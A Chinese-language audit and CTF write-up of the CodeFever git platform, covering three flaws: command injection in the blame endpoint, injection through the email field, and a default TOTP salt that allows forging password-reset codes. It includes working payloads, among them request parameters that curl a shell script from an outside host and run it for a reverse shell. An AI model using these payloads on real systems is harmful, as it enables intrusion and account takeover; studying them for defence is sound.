终于忙完项目了,没啥事,继续拿以前没做出来的题审计,还是tcl,得加强代码审计能力
环境搭建
先下载个源码,直接选择最新版本:git clone https://github.com/PGYER/codefever.git
参考官方文档,就直接用 docker 搭建,一行命令搞定
1 2 3 4 5 6 7 8 9
| docker container run \ -d --privileged=true --name codefever \ -p 8081:80 -p 22:22 \ -v ~/config/db:/var/lib/mysql \ -v ~/config/env:/data/www/codefever-community/env \ -v ~/config/logs:/data/www/codefever-community/application/logs \ -v ~/config/git-storage:/data/www/codefever-community/git-storage \ -v ~/config/file-storage:/data/www/codefever-community/file-storage \ -it pgyer/codefever-community
|
修改一下web端口,访问即可
默认管理员用户: root@codefever.cn
, 密码: 123456
审计前可以看看issues,https://github.com/PGYER/codefever/issues
代码审计
先看看框架,主要就是 application 目录下的文件
看到application/libraries/service/Network/Request.php
所以在请求的时候一定得加上header头:Accept: application/json
接着看到application/libraries/api_controller.php
,发现是使用的CodeIgniter即CI框架
这里的_remap
方法就是 controllers 的访问方法,即/user/login
就是调用application/controllers/user.php
类的 login 方法
同样也写了 api 的访问方法
即 get 传入/api/user/info
就是调用application/controllers/api/user.php
类的 info_get 方法
后台命令执行
前提是 config.template.yaml 文件中的 allowRegister 为 true ,我们可以注册账号
看到application/controllers/api/user.php
注册成功后访问/api/user/info
,可以拿到用户信息
这里的 id 就是 u_key
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| public function normalize(array $list, bool $extra = FALSE) { $result = [];
foreach ($list as $item) { array_push($result, [ 'id' => $item['u_key'], 'icon' => $item['u_avatar'], 'name' => $item['u_name'], 'email' => $item['u_email'], 'phoneCode' => $item['u_calling_code'], 'phoneNumber' => $item['u_tel'], 'team' => $item['u_team'], 'role' => $item['u_role'], 'notification' => (int) $item['u_notification_status'], 'mfaEnabled' => $item['u_2fa'] ? TRUE : FALSE, 'admin' => $item['u_admin'] ? TRUE : FALSE, 'emails' => $this->getCommitEmails($item, !$extra), 'unReadNotification' => $extra ? $this->notificationModel->unReadNotificationCount($item['u_key']) : 0, 'status' => $item['u_status'] == COMMON_STATUS_NORMAL, 'host' => YAML_HOST, 'ssh' => YAML_SSH, ]); } return $result; }
|
同理我们可以创建一个仓库,/api/repository/list
拿到 r_key
全局查找命令执行函数,可以看到application/libraries/service/Utility/Command.php
对$command
数组使用空格连接,然后执行命令
可以使用idea查找用法,找到所有命令执行的点进行分析
blameInfo_get
看到application/controllers/api/repository.php
的 blameInfo_get 方法
get传参,$revision、$filepath
的值可控,然后调用了getBlameInfo方法,跟进application/models/repository_model.php
使用Command::wrapArgument
进行过滤,然后带入到Command::run
命令执行,看看过滤的代码
可以看到循环进行正则匹配,直到$result === $argument
1 2 3 4 5 6
| \s 匹配空白符(等价于[\r\n\t\f\v ]) \` 按字面匹配 字符 `,(区分大小写) \' 按字面匹配 字符 ',(区分大小写) \" 按字面匹配 字符 ",(区分大小写) \$ 按字面匹配 字符 $,(区分大小写) \| 按字面匹配 字符 |,(区分大小写)
|
可以注意到竟然没有过滤;
,导致rce
利用的话由于我们的用户是git,没有写的权限,可以wget下载反弹shell文件,然后sh执行
1 2
| &revision=;curl&path=http://192.168.111.1:8000/shell.sh>/tmp/1 &revision=;sh&path=/tmp/1
|
成功反弹shell rce
config_get
在github上看到一个已修复的命令执行:https://github.com/PGYER/codefever/issues/136
修复方法就是使用Command::wrapArgument
过滤,但这根本是治标不治本!
看到application/models/repository_model.php
的execCommand方法,也就是漏洞修复的地方
这里将$email
和$name
拼接到命令执行的代码中,然后执行Command::batch
,return 命令执行的结果
找一下$commandType
为 GIT_COMMAND_QUERY ,然后存在返回值的方法
看到application/controllers/api/repository.php
的 config_get 方法
将结果输出,并且看到其中的 getTagList 方法
正则匹配任意字符并返回,所以回显成立
简单验证一下,由于前端 js 进行了校验,所以在修改个人信息处抓包
在邮箱最后面添加;{pwd,}
,随后带着 rKey 访问/api/repository/config
成功命令执行并看到返回结果,分析可以发现不止这一个点存在漏洞,就不多说了
邮箱验证默认密钥
还修复了一个邮箱验证码的问题:https://github.com/PGYER/codefever/issues/135
但是如果使用的docker搭建,没有特定修改过的话,那么 salt 就是默认值
1 2 3
| # totp settings (for verification code generating) totp: salt: <totp_salt_for_codefever>
|
漏洞主要看到application/controllers/user.php
的 getResetPasswordCode 方法
使用的TOTP::generate
生成的验证码,看到application/libraries/service/Utility/TOTP.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73
| <?php
namespace service\Utility;
class TOTP {
const SALT = 'codefever_salt'; const TOTP_REFRESH_INTERVAL = 30; const TOTP_CHECK_WINDOW_MIN = -10; const TOTP_CHECK_WINDOW_MAX = 10; const PASSWORD_LENGTH = 6;
static private function hashInput (string $input) { $salt = self::SALT; if (TOTP_SALT) { $salt = TOTP_SALT; }
$input = $input ? $input : self::SALT;
return hash('sha256', md5($input) . md5($salt), FALSE); }
static private function genTotp (string $hashedInput, int $timestamp) { $sequence = floor($timestamp / 30); $code = hash_hmac('sha256', $hashedInput . md5($sequence), md5($sequence), TRUE);
$finalValue = 0; $index = 0;
do { $finalValue += ord($code[$index]); $finalValue = $finalValue << 2; $index++; } while (isset($code[$index]));
return $finalValue; }
static private function trimTotp (int $sourceTotp) { $trimedTotp = $sourceTotp % pow(10, self::PASSWORD_LENGTH); $format = "%'.0". self::PASSWORD_LENGTH ."u"; return sprintf($format, abs($trimedTotp)); }
static function generate(string $input) { return self::trimTotp(self::genTotp(self::hashInput($input), time())); }
static function check(string $input, string $code) { $hashedInput = self::hashInput($input); $currentTime = time(); for ( $windowIndex = self::TOTP_CHECK_WINDOW_MIN; $windowIndex <= self::TOTP_CHECK_WINDOW_MAX; $windowIndex++ ) { if ( $code === self::trimTotp( self::genTotp( $hashedInput, $currentTime + ($windowIndex * self::TOTP_REFRESH_INTERVAL) ) ) ) { return TRUE; } }
return FALSE; } }
|
发现 salt 是一个指定的固定值,并且存在一个前后300秒的误差
我们设置成默认的 salt 值,然后执行
1 2
| $email = 'root@codefever.cn'; echo TOTP::generate($email);
|
就可以用得到的验证码重置任意账号的密码了
参考:
西湖论剑 初赛 writeup by or4nge
2023西湖论剑web-writeup题解wp